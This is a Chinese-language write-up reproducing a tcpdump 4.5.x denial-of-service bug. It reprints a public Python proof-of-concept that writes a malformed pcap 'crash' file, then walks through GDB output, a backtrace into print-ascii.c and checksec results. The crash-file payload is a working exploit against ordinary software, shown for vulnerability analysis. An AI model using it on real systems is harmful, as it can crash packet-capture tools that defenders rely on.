TCPDUMP 4.5.2拒绝服务漏洞

漏洞介绍

漏洞环境

Ubuntu14.04

IDA

GDB

漏洞复现

漏洞POC,用于生成造成崩溃的crash文件

# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: <http://www.tcpdump.org>
# Software Link: <http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz>
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
 
from subprocess import call
from shlex import split
from time import sleep
 
def crash():
 
    command = 'tcpdump -r crash'
 
    buffer     =   '\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\xf5\\xff'
    buffer     +=  '\\x00\\x00\\x00I\\x00\\x00\\x00\\xe6\\x00\\x00\\x00\\x00\\x80\\x00'
    buffer     +=  '\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00<\\x9c7@\\xff\\x00'
    buffer     +=  '\\x06\\xa0r\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\xec\\x00\\x01\\xe0\\x1a'
    buffer     +=  "\\x00\\x17g+++++++\\x85\\xc9\\x03\\x00\\x00\\x00\\x10\\xa0&\\x80\\x18\\'"
    buffer     +=  "xfe$\\x00\\x01\\x00\\x00@\\x0c\\x04\\x02\\x08\\n', '\\x00\\x00\\x00\\x00"
    buffer     +=  '\\x00\\x00\\x00\\x00\\x01\\x03\\x03\\x04'
 
    with open('crash', 'w+b') as file:
        file.write(buffer)
 
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
 
def main():
 
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
 
    sleep(2)
    crash()
 
if __name__ == "__main__":
    main()

我们尝试用tcpdump去加载这个crash文件


vincebye@ubuntu:~/Desktop$ tcpdump -r crash
Segmentation fault (core dumped)

显示出现了段错误,我们用GDB去运行tcpdump来加载crash文件看看

vincebye@ubuntu:~/Desktop$gdb tcpdump
vincebye@ubuntu:~/Desktop$run -r crash
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x8229001 
EBX: 0xbfffdce9 ("......")
ECX: 0x2e ('.')
EDX: 0x0 
ESI: 0x8229001 
EDI: 0xbfffdccf --> 0x30303000 ('')
EBP: 0x0 
ESP: 0xbfffdc70 --> 0xbfffdcca (" 0000")
EIP: 0x80542da (<hex_and_ascii_print_with_offset+106>:	movzx  eax,BYTE PTR [eax-0x1])
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80542d2 <hex_and_ascii_print_with_offset+98>:	movzx  edx,BYTE PTR [esi]
   0x80542d5 <hex_and_ascii_print_with_offset+101>:	lea    eax,[esi+0x2]
   0x80542d8 <hex_and_ascii_print_with_offset+104>:	mov    esi,eax
=> 0x80542da <hex_and_ascii_print_with_offset+106>:	movzx  eax,BYTE PTR [eax-0x1]
   0x80542de <hex_and_ascii_print_with_offset+110>:	mov    DWORD PTR [esp+0x10],0x80def60
   0x80542e6 <hex_and_ascii_print_with_offset+118>:	mov    DWORD PTR [esp+0xc],0x29
   0x80542ee <hex_and_ascii_print_with_offset+126>:	movzx  ecx,dl
   0x80542f1 <hex_and_ascii_print_with_offset+129>:	mov    DWORD PTR [esp+0x14],ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffdc70 --> 0xbfffdcca (" 0000")
0004| 0xbfffdc74 --> 0x15 
0008| 0xbfffdc78 --> 0x1 
0012| 0xbfffdc7c --> 0x29 (')')
0016| 0xbfffdc80 --> 0x80def60 (" %02x%02x")
0020| 0xbfffdc84 --> 0x0 
0024| 0xbfffdc88 --> 0x0 
0028| 0xbfffdc8c --> 0xb7e16ed4 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
hex_and_ascii_print_with_offset (ident=ident@entry=0x80e880f "\\n\\t", cp=0x8229001 <error: Cannot access memory at address 0x8229001>, cp@entry=0x8208085 "", length=length@entry=0xfffffff3, oset=0x20f70, 
    oset@entry=0x0) at ./print-ascii.c:91
91			s2 = *cp++;

我们查看一下操作的地址

gdb-peda$ x $eax-0x1
0x8229000:	Cannot access memory at address 0x8229000

发现该地址无法访问

执行bt命令查看调用栈

gdb-peda$ bt
#0  hex_and_ascii_print_with_offset (ident=ident@entry=0x80e880f "\\n\\t", cp=0x8229001 <error: Cannot access memory at address 0x8229001>, cp@entry=0x8208085 "", length=length@entry=0xfffffff3, 
    oset=0x20f70, oset@entry=0x0) at ./print-ascii.c:91
#1  0x08054507 in hex_and_ascii_print (ident=0x80e880f "\\n\\t", cp=0x8208085 "", length=0xfffffff3) at ./print-ascii.c:127
#2  0x08052129 in ieee802_15_4_if_print (ndo=0x8205b20 <Gndo>, h=0xbfffdee0, p=<optimized out>) at ./print-802_15_4.c:180
#3  0x080a87af in print_packet (user=0xbfffdfbc " [ \\b\\020 \\005\\b\\001", h=0xbfffdee0, sp=0x8208070 "@\\377") at ./tcpdump.c:1950
#4  0x080ca446 in pcap_offline_read (p=p@entry=0x82086f0, cnt=cnt@entry=0xffffffff, callback=callback@entry=0x80a8760 <print_packet>, user=user@entry=0xbfffdfbc " [ \\b\\020 \\005\\b\\001") at ./savefile.c:409
#5  0x080ba96f in pcap_loop (p=0x82086f0, cnt=cnt@entry=0xffffffff, callback=callback@entry=0x80a8760 <print_packet>, user=user@entry=0xbfffdfbc " [ \\b\\020 \\005\\b\\001") at ./pcap.c:849
#6  0x0804b50d in main (argc=0x3, argv=0xbffff194) at ./tcpdump.c:1569
#7  0xb7e2caf3 in __libc_start_main (main=0x804a5d0 <main>, argc=0x3, argv=0xbffff194, init=0x80d9590 <__libc_csu_init>, fini=0x80d9600 <__libc_csu_fini>, rtld_fini=0xb7fed300 <_dl_fini>, 
    stack_end=0xbffff18c) at libc-start.c:287
#8  0x0804c38e in _start ()

利用checksec命令查看一下tcpdump的保护情况

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

与教程不同,我们这里PIE(即ASLR)默认是关闭的

参考链接

https://whereisk0shl.top/post/2016-10-23-1
https://bbs.pediy.com/thread-261984.htm